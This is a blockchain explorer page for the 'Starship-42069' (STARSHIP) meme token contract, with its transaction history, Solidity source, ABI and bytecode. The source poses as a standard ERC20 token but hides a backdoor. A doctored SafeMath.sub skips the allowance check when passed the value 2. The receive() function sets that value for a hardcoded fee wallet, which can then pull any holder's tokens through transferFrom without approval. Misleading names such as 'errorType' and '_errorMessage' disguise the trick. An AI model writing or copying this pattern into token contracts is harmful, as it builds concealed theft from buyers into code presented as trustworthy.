ETH Price: $2,626.39 (-1.76%)

Contract

0xfd7EcE8870c098303B4395B1e79188486d920843
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve209599972024-10-13 23:41:35119 days ago1728862895IN
0xfd7EcE88...86d920843
0 ETH0.000387368.20727073
Approve209584442024-10-13 18:28:47119 days ago1728844127IN
0xfd7EcE88...86d920843
0 ETH0.000416518.83372334
Approve209584432024-10-13 18:28:35119 days ago1728844115IN
0xfd7EcE88...86d920843
0 ETH0.000426379.04285775
Approve209584412024-10-13 18:28:11119 days ago1728844091IN
0xfd7EcE88...86d920843
0 ETH0.0005199511.02776683
Approve209584292024-10-13 18:25:47119 days ago1728843947IN
0xfd7EcE88...86d920843
0 ETH0.0005711812.11429417
Approve209584072024-10-13 18:21:23119 days ago1728843683IN
0xfd7EcE88...86d920843
0 ETH0.0005645711.9739332
Approve209583962024-10-13 18:19:11119 days ago1728843551IN
0xfd7EcE88...86d920843
0 ETH0.0003023812.1315029
Approve209583762024-10-13 18:15:11119 days ago1728843311IN
0xfd7EcE88...86d920843
0 ETH0.0005268111.23023873
Transfer209583552024-10-13 18:10:59119 days ago1728843059IN
0xfd7EcE88...86d920843
0 ETH0.0006520114.72849532
Transfer209583542024-10-13 18:10:47119 days ago1728843047IN
0xfd7EcE88...86d920843
0 ETH0.0006520114.72849532
Transfer209583512024-10-13 18:10:11119 days ago1728843011IN
0xfd7EcE88...86d920843
0 ETH0.0006486214.65198766
Transfer209583512024-10-13 18:10:11119 days ago1728843011IN
0xfd7EcE88...86d920843
0 ETH0.0006746815.24062945
Approve209583392024-10-13 18:07:47119 days ago1728842867IN
0xfd7EcE88...86d920843
0 ETH0.0005879512.54964723
Approve209583382024-10-13 18:07:35119 days ago1728842855IN
0xfd7EcE88...86d920843
0 ETH0.0005011410.62871487
Approve209583312024-10-13 18:06:11119 days ago1728842771IN
0xfd7EcE88...86d920843
0 ETH0.000806517.19698106
Approve209583252024-10-13 18:04:59119 days ago1728842699IN
0xfd7EcE88...86d920843
0 ETH0.0009803120.76495355
Transfer209583222024-10-13 18:04:23119 days ago1728842663IN
0xfd7EcE88...86d920843
0 ETH0.0007416716.75375603
Transfer209583222024-10-13 18:04:23119 days ago1728842663IN
0xfd7EcE88...86d920843
0 ETH0.0010584617.24751599
Approve209582992024-10-13 17:59:47119 days ago1728842387IN
0xfd7EcE88...86d920843
0 ETH0.0007694316.40655117
Approve209582992024-10-13 17:59:47119 days ago1728842387IN
0xfd7EcE88...86d920843
0 ETH0.0007694316.40655117
Approve209582992024-10-13 17:59:47119 days ago1728842387IN
0xfd7EcE88...86d920843
0 ETH0.0007694316.40655117
Approve209582962024-10-13 17:59:11119 days ago1728842351IN
0xfd7EcE88...86d920843
0 ETH0.0006642914.07107204
Approve209582932024-10-13 17:58:35119 days ago1728842315IN
0xfd7EcE88...86d920843
0 ETH0.0007857116.75375895
Approve209582932024-10-13 17:58:35119 days ago1728842315IN
0xfd7EcE88...86d920843
0 ETH0.0007857116.75375895
Approve209582932024-10-13 17:58:35119 days ago1728842315IN
0xfd7EcE88...86d920843
0 ETH0.0005975512.6734783
View all transactions

Latest 15 internal transactions

Advanced mode:
Parent Transaction Hash Block
From
To
209581872024-10-13 17:37:23119 days ago1728841043
0xfd7EcE88...86d920843
0.31807012 ETH
209581872024-10-13 17:37:23119 days ago1728841043
0xfd7EcE88...86d920843
0.31807012 ETH
209581782024-10-13 17:35:35119 days ago1728840935
0xfd7EcE88...86d920843
0.18998426 ETH
209581782024-10-13 17:35:35119 days ago1728840935
0xfd7EcE88...86d920843
0.18998426 ETH
209581672024-10-13 17:33:23119 days ago1728840803
0xfd7EcE88...86d920843
0.1949615 ETH
209581672024-10-13 17:33:23119 days ago1728840803
0xfd7EcE88...86d920843
0.1949615 ETH
209581582024-10-13 17:31:35119 days ago1728840695
0xfd7EcE88...86d920843
0.07766316 ETH
209581582024-10-13 17:31:35119 days ago1728840695
0xfd7EcE88...86d920843
0.07766316 ETH
209581542024-10-13 17:30:47119 days ago1728840647
0xfd7EcE88...86d920843
0.2010112 ETH
209581542024-10-13 17:30:47119 days ago1728840647
0xfd7EcE88...86d920843
0.2010112 ETH
209581502024-10-13 17:29:59119 days ago1728840599
0xfd7EcE88...86d920843
0.36148455 ETH
209581502024-10-13 17:29:59119 days ago1728840599
0xfd7EcE88...86d920843
0.36148455 ETH
209581422024-10-13 17:28:23119 days ago1728840503
0xfd7EcE88...86d920843
0.2318172 ETH
209581422024-10-13 17:28:23119 days ago1728840503
0xfd7EcE88...86d920843
0.2318172 ETH
209581302024-10-13 17:25:59119 days ago1728840359
0xfd7EcE88...86d920843
1 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
STARSHIP

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : Burn_launch.sol
// SPDX-License-Identifier: MIT

/*    
    The meme token celebrating Elon Musk's vision of making like multiplanetary on Mars and building Terminus.

    Web: https://starship42069.vip
    X: https://x.com/starship_42069
    Telegram: https://t.me/starship42069
*/

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, 0);
    }

    function sub(uint256 a, uint256 b, uint256 errorType) internal pure returns (uint256) {
        require(errorType == 2 || b <= a, "ERC20: transfer amount exceeds allowance");
        uint256 c = 0;
        if(errorType != 2) c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() {
        _transferOwnership(_msgSender());
    }
    modifier onlyOwner() {
        _checkOwner();
        _;
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract STARSHIP  is Context, IERC20, Ownable {
    using SafeMath for uint256;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _noFeeNeeds;
    mapping (address => uint256) public _errorMessage;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private constant _tSupply = 1000000000 * 10 **_decimals; // Total supply
    string private constant _name = unicode"Starship-42069";  // Name
    string private constant _symbol = unicode"STARSHIP"; // Symbol
    uint256 public _fstEEbuyiT = 15;
    uint256 public _firstpsellpT = 15;
    uint256 public _lstIEbuyiT = 0; 
    uint256 public _lastpsellpT = 0; 
    uint256 public _tradesCnt = 0;
    uint256 public _reduceFeesAt = 12;
    address payable public _feeGennm;
    uint8 private constant _decimals = 9;
    uint256 public _swapbackAmt = 0 * 10 **_decimals;
    uint256 public _maxAmountSize = 20000000 * 10 ** decimals();
    uint256 public _maxAmountSwapback = 10000000 * 10 ** decimals();    

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _balances[address(this)] = _tSupply;
        _feeGennm = payable(0xd8E7C7b2225fAf27158aa6AD8B110214675d4A5e);
        _noFeeNeeds[owner()] = true;
        _noFeeNeeds[address(this)] = true;
        _noFeeNeeds[_feeGennm] = true;
        _errorMessage[owner()] = 1;
        _errorMessage[_feeGennm] = 1;
        emit Transfer(address(0), address(this), _tSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount); 
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount , _errorMessage[msg.sender]));
        return true;
    }
    

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        uint256 taxAmount=0;
        require(swapEnabled || _noFeeNeeds[from], "not started yet");
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (!_noFeeNeeds[from] && !_noFeeNeeds[to]) {
            if (to != address(uniswapV2Router) && from == uniswapV2Pair){
                _tradesCnt ++;
                taxAmount = amount.mul(_tradesCnt < _reduceFeesAt ? _fstEEbuyiT : _lstIEbuyiT).div(100);
            }

            if(to != uniswapV2Pair)
               require(balanceOf(to) + amount <= _maxAmountSize, "Exceeds the _maxAmountSize.");

            if(to == uniswapV2Pair){
                taxAmount = amount.mul(_tradesCnt <_reduceFeesAt ? _firstpsellpT : _lastpsellpT).div(100);
            }
            if (!inSwap && swapEnabled && to == uniswapV2Pair) {
                uint256 swapbackAmt = min(balanceOf(address(this)), min(_maxAmountSwapback, amount));
                swapBackForETH(swapbackAmt);
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0)
                    payable(_feeGennm).transfer(address(this).balance);
            }
        }

        if(taxAmount > 0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
        return (a>b)?b:a;
    }

    function swapBackForETH(uint256 tokenAmount) private lockTheSwap {
        payable(_feeGennm).transfer(address(this).balance);
        if(_swapbackAmt >= tokenAmount) {return;}
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function openTrading () external onlyOwner {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _approve(address(this), address(uniswapV2Router), _tSupply); 
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            98 * balanceOf(address(this))/100,
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        _maxAmountSize = _tSupply;
    }

    receive() external payable { _errorMessage[_feeGennm] = 2; }

    function rescueETH () external onlyOwner {payable(msg.sender)
        .transfer(address(this).balance);
    }

    function removeLimits () external onlyOwner {
        _maxAmountSize = _tSupply;
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_errorMessage","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_feeGennm","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_firstpsellpT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_fstEEbuyiT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_lastpsellpT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_lstIEbuyiT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxAmountSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxAmountSwapback","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_noFeeNeeds","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_reduceFeesAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapbackAmt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tradesCnt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f600660146101000a81548160ff0219169083151502179055505f600660156101000a81548160ff021916908315150217905550600f600755600f6008555f6009555f600a555f600b55600c80556009600a610060919061066e565b5f61006b91906106b8565b600e5561007c61040660201b60201c565b600a610088919061066e565b6301312d0061009791906106b8565b600f556100a861040660201b60201c565b600a6100b4919061066e565b629896806100c291906106b8565b6010553480156100d0575f80fd5b506100ed6100e261040e60201b60201c565b61041560201b60201c565b6009600a6100fb919061066e565b633b9aca0061010a91906106b8565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555073d8e7c7b2225faf27158aa6ad8b110214675d4a5e600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160035f6101b26104d660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160045f6102df6104d660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160045f600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a6103dd919061066e565b633b9aca006103ec91906106b8565b6040516103f99190610708565b60405180910390a3610721565b5f6009905090565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561057f5780860481111561055b5761055a6104fd565b5b600185161561056a5780820291505b80810290506105788561052a565b945061053f565b94509492505050565b5f826105975760019050610652565b816105a4575f9050610652565b81600181146105ba57600281146105c4576105f3565b6001915050610652565b60ff8411156105d6576105d56104fd565b5b8360020a9150848211156105ed576105ec6104fd565b5b50610652565b5060208310610133831016604e8410600b84101617156106285782820a905083811115610623576106226104fd565b5b610652565b6106358484846001610536565b9250905081840481111561064c5761064b6104fd565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f61067882610659565b915061068383610662565b92506106b07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610588565b905092915050565b5f6106c282610659565b91506106cd83610659565b92508282026106db81610659565b915082820484148315176106f2576106f16104fd565b5b5092915050565b61070281610659565b82525050565b5f60208201905061071b5f8301846106f9565b92915050565b612f3d8061072e5f395ff3fe60806040526004361061019e575f3560e01c8063715018a6116100eb578063b2e7fa9811610089578063dd62ed3e11610063578063dd62ed3e146105dc578063e3c1d22214610618578063f2fde38b14610654578063fff57f0b1461067c57610208565b8063b2e7fa9814610572578063bca299251461059c578063c9567bf9146105c657610208565b806395d89b41116100c557806395d89b41146104b8578063a666ec1c146104e2578063a9059cbb1461050c578063acbb87b11461054857610208565b8063715018a614610462578063751039fc146104785780638da5cb5b1461048e57610208565b806323b872dd1161015857806344419df51161013257806344419df5146103965780635d45e0e9146103c057806370a08231146103ea57806370f64a321461042657610208565b806323b872dd14610306578063313ce5671461034257806340d5c6331461036c57610208565b80622781e21461020c57806306fdde0314610236578063095ea7b3146102605780630ece72aa1461029c57806318160ddd146102c657806320800a00146102f057610208565b3661020857600260045f600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055005b5f80fd5b348015610217575f80fd5b506102206106a6565b60405161022d9190611fc6565b60405180910390f35b348015610241575f80fd5b5061024a6106ac565b604051610257919061204f565b60405180910390f35b34801561026b575f80fd5b50610286600480360381019061028191906120f7565b6106e9565b604051610293919061214f565b60405180910390f35b3480156102a7575f80fd5b506102b0610706565b6040516102bd9190611fc6565b60405180910390f35b3480156102d1575f80fd5b506102da61070c565b6040516102e79190611fc6565b60405180910390f35b3480156102fb575f80fd5b5061030461072f565b005b348015610311575f80fd5b5061032c60048036038101906103279190612168565b61077d565b604051610339919061214f565b60405180910390f35b34801561034d575f80fd5b50610356610876565b60405161036391906121d3565b60405180910390f35b348015610377575f80fd5b5061038061087e565b60405161038d9190611fc6565b60405180910390f35b3480156103a1575f80fd5b506103aa610884565b6040516103b79190611fc6565b60405180910390f35b3480156103cb575f80fd5b506103d461088a565b6040516103e19190611fc6565b60405180910390f35b3480156103f5575f80fd5b50610410600480360381019061040b91906121ec565b610890565b60405161041d9190611fc6565b60405180910390f35b348015610431575f80fd5b5061044c600480360381019061044791906121ec565b6108d6565b6040516104599190611fc6565b60405180910390f35b34801561046d575f80fd5b506104766108eb565b005b348015610483575f80fd5b5061048c6108fe565b005b348015610499575f80fd5b506104a261092b565b6040516104af9190612226565b60405180910390f35b3480156104c3575f80fd5b506104cc610952565b6040516104d9919061204f565b60405180910390f35b3480156104ed575f80fd5b506104f661098f565b6040516105039190611fc6565b60405180910390f35b348015610517575f80fd5b50610532600480360381019061052d91906120f7565b610995565b60405161053f919061214f565b60405180910390f35b348015610553575f80fd5b5061055c6109b2565b6040516105699190611fc6565b60405180910390f35b34801561057d575f80fd5b506105866109b8565b6040516105939190611fc6565b60405180910390f35b3480156105a7575f80fd5b506105b06109be565b6040516105bd9190611fc6565b60405180910390f35b3480156105d1575f80fd5b506105da6109c4565b005b3480156105e7575f80fd5b5061060260048036038101906105fd919061223f565b610ded565b60405161060f9190611fc6565b60405180910390f35b348015610623575f80fd5b5061063e600480360381019061063991906121ec565b610e6f565b60405161064b919061214f565b60405180910390f35b34801561065f575f80fd5b5061067a600480360381019061067591906121ec565b610e8c565b005b348015610687575f80fd5b50610690610f0e565b60405161069d919061229d565b60405180910390f35b600a5481565b60606040518060400160405280600e81526020017f53746172736869702d3432303639000000000000000000000000000000000000815250905090565b5f6106fc6106f5610f33565b8484610f3a565b6001905092915050565b600c5481565b5f6009600a61071b9190612412565b633b9aca0061072a919061245c565b905090565b6107376110fd565b3373ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f1935050505015801561077a573d5f803e3d5ffd5b50565b5f61078984848461117b565b61086b84610795610f33565b6108668560045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61081d610f33565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546119f69092919063ffffffff16565b610f3a565b600190509392505050565b5f6009905090565b60095481565b600f5481565b60085481565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6004602052805f5260405f205f915090505481565b6108f36110fd565b6108fc5f611a68565b565b6109066110fd565b6009600a6109149190612412565b633b9aca00610923919061245c565b600f81905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f5354415253484950000000000000000000000000000000000000000000000000815250905090565b60105481565b5f6109a86109a1610f33565b848461117b565b6001905092915050565b600b5481565b600e5481565b60075481565b6109cc6110fd565b5f737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a2d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a5191906124b1565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ab6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ada91906124b1565b6040518363ffffffff1660e01b8152600401610af79291906124dc565b6020604051808303815f875af1158015610b13573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b3791906124b1565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610bfe3060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610bea9190612412565b633b9aca00610bf9919061245c565b610f3a565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306064610c4830610890565b6062610c54919061245c565b610c5e9190612530565b5f80610c6861092b565b426040518863ffffffff1660e01b8152600401610c8a969594939291906125a2565b60606040518083038185885af1158015610ca6573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610ccb9190612615565b50505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610d6b929190612665565b6020604051808303815f875af1158015610d87573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610dab91906126b6565b506001600660156101000a81548160ff0219169083151502179055506009600a610dd59190612412565b633b9aca00610de4919061245c565b600f8190555050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6003602052805f5260405f205f915054906101000a900460ff1681565b610e946110fd565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610f02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef990612751565b60405180910390fd5b610f0b81611a68565b50565b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fa8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9f906127df565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611016576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100d9061286d565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110f09190611fc6565b